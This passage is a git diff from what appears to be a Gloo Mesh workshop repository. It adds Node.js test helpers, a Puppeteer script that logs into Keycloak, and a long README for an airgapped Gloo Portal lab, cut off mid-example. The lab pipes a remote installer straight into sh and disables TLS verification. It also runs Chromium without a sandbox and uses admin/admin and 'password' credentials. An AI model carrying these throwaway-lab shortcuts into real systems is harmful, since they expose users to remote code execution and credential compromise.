let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-4/airgap/portal/tests/chai-http.js b/gloo-mesh/gateway/2-4/airgap/portal/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/tests/keycloak-token.js b/gloo-mesh/gateway/2-4/airgap/portal/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-4/airgap/portal/tests/keycloak.js b/gloo-mesh/gateway/2-4/airgap/portal/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-4/airgap/portal/tests/utils.js b/gloo-mesh/gateway/2-4/airgap/portal/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/README.md b/gloo-mesh/gateway/2-4/airgap/standalone-portal/README.md new file mode 100644 index 0000000000..84fb664251 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/README.md @@ -0,0 +1,3370 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Portal (2.4.7)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy the Bookinfo demo app](#lab-4---deploy-the-bookinfo-demo-app-) +* [Lab 5 - Deploy the httpbin demo app](#lab-5---deploy-the-httpbin-demo-app-) +* [Lab 6 - Deploy Gloo Mesh Addons](#lab-6---deploy-gloo-mesh-addons-) +* [Lab 7 - Create the gateways workspace](#lab-7---create-the-gateways-workspace-) +* [Lab 8 - Create the bookinfo workspace](#lab-8---create-the-bookinfo-workspace-) +* [Lab 9 - Expose the productpage through a gateway](#lab-9---expose-the-productpage-through-a-gateway-) +* [Lab 10 - Create the httpbin workspace](#lab-10---create-the-httpbin-workspace-) +* [Lab 11 - Deploy Keycloak](#lab-11---deploy-keycloak-) +* [Lab 12 - Expose the productpage API securely](#lab-12---expose-the-productpage-api-securely-) +* [Lab 13 - Expose an external API and stitch it with another one](#lab-13---expose-an-external-api-and-stitch-it-with-another-one-) +* [Lab 14 - Expose the dev portal backend](#lab-14---expose-the-dev-portal-backend-) +* [Lab 15 - Deploy and expose the dev portal frontend](#lab-15---deploy-and-expose-the-dev-portal-frontend-) +* [Lab 16 - Allow users to create their own API keys](#lab-16---allow-users-to-create-their-own-api-keys-) +* [Lab 17 - Dev portal monetization](#lab-17---dev-portal-monetization-) +* [Lab 18 - Deploy Backstage with the backend plugin](#lab-18---deploy-backstage-with-the-backend-plugin-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +djannot/portal-frontend:0.1 +docker.io/bats/bats:v1.4.1 +docker.io/bitnami/clickhouse:23.11.1-debian-11-r1 +docker.io/grafana/grafana:10.0.3 +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.51.4 +gcr.io/gloo-mesh/gloo-mesh-agent:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-portal-server:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-ui:2.4.7 +gcr.io/gloo-mesh/gloo-otel-collector:2.4.7 +gcr.io/gloo-mesh/rate-limiter:0.10.3 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.4.7 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +First, create a secret with the password to use to store access logs in Clickhouse: + +```bash +cat << EOF | kubectl --context ${MGMT} apply -f - +kind: Namespace +apiVersion: v1 +metadata: + name: gloo-mesh +--- +apiVersion: v1 +kind: Secret +metadata: + name: clickhouse-auth + namespace: gloo-mesh +type: Opaque +stringData: + password: password +EOF +``` + +And then, install the Helm charts: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 \ + -f -< + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + +## Lab 4 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 5 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 6 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +timeout 2m bash -c "until [[ \$(kubectl --context ${MGMT} -n istio-system get deploy istiod-1-19 -o json | jq '.status.availableReplicas') -gt 0 ]]; do + sleep 1 +done" +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 7 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 10 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 12 - Expose the productpage API securely +[VIDEO LINK](https://youtu.be/pkzeYaTj9k0 "Video Link") + + +Gloo Platform includes a developer portal, which is well integrated with its core API. + +Let's start with API discovery. + +Annotate the `productpage` service to allow the Gloo Platform agent to discover its API: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-source=https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/swagger.yaml --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-pull-attempts="3" --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-retry-delay=5s --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-use-backoff="true" --overwrite +``` + + + +An `APIDoc` Kubernetes object should be automatically created: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends get apidoc productpage-service -o yaml +``` + + + +You should get something like this: + +```yaml,nocopy +apiVersion: apimanagement.gloo.solo.io/v2 +kind: ApiDoc +metadata: + creationTimestamp: "2023-04-05T06:48:33Z" + generation: 1 + labels: + reconciler.mesh.gloo.solo.io/name: schema-reporter-service + name: productpage-service + namespace: bookinfo-frontends + resourceVersion: "116408" + uid: 2ae9188c-713e-4ba3-86a6-8689f55cda0f +spec: + openapi: + inlineString: '{"components":{"schemas":{"Product":{"description":"Basic information + about a product","properties":{"descriptionHtml":{"description":"Description + of the book - may contain HTML tags","type":"string"},"id":{"description":"Product + id","format":"int32","type":"integer"},"title":{"description":"Title of the + book","type":"string"}},"required":["id","title","descriptionHtml"],"type":"object"},"ProductDetails":{"description":"Detailed + information about a product","properties":{"ISBN-10":{"description":"ISBN-10 + of the book","type":"string"},"ISBN-13":{"description":"ISBN-13 of the book","type":"string"},"author":{"description":"Author + of the book","type":"string"},"id":{"description":"Product id","format":"int32","type":"integer"},"language":{"description":"Language + of the book","type":"string"},"pages":{"description":"Number of pages of the + book","format":"int32","type":"integer"},"publisher":{"description":"Publisher + of the book","type":"string"},"type":{"description":"Type of the book","enum":["paperback","hardcover"],"type":"string"},"year":{"description":"Year + the book was first published in","format":"int32","type":"integer"}},"required":["id","publisher","language","author","ISBN-10","ISBN-13","year","type","pages"],"type":"object"},"ProductRatings":{"description":"Object + containing ratings of a product","properties":{"id":{"description":"Product + id","format":"int32","type":"integer"},"ratings":{"additionalProperties":{"type":"string"},"description":"A + hashmap where keys are reviewer names, values are number of stars","type":"object"}},"required":["id","ratings"],"type":"object"},"ProductReviews":{"description":"Object + containing reviews for a product","properties":{"id":{"description":"Product + id","format":"int32","type":"integer"},"reviews":{"description":"List of reviews","items":{"$ref":"#/components/schemas/Review"},"type":"array"}},"required":["id","reviews"],"type":"object"},"Rating":{"description":"Rating + of a product","properties":{"color":{"description":"Color in which stars should + be displayed","enum":["red","black"],"type":"string"},"stars":{"description":"Number + of stars","format":"int32","maximum":5,"minimum":1,"type":"integer"}},"required":["stars","color"],"type":"object"},"Review":{"description":"Review + of a product","properties":{"rating":{"$ref":"#/components/schemas/Rating"},"reviewer":{"description":"Name + of the reviewer","type":"string"},"text":{"description":"Review text","type":"string"}},"required":["reviewer","text"],"type":"object"}}},"externalDocs":{"description":"Learn + more about the Istio BookInfo application","url":"https://istio.io/docs/samples/bookinfo.html"},"info":{"description":"This + 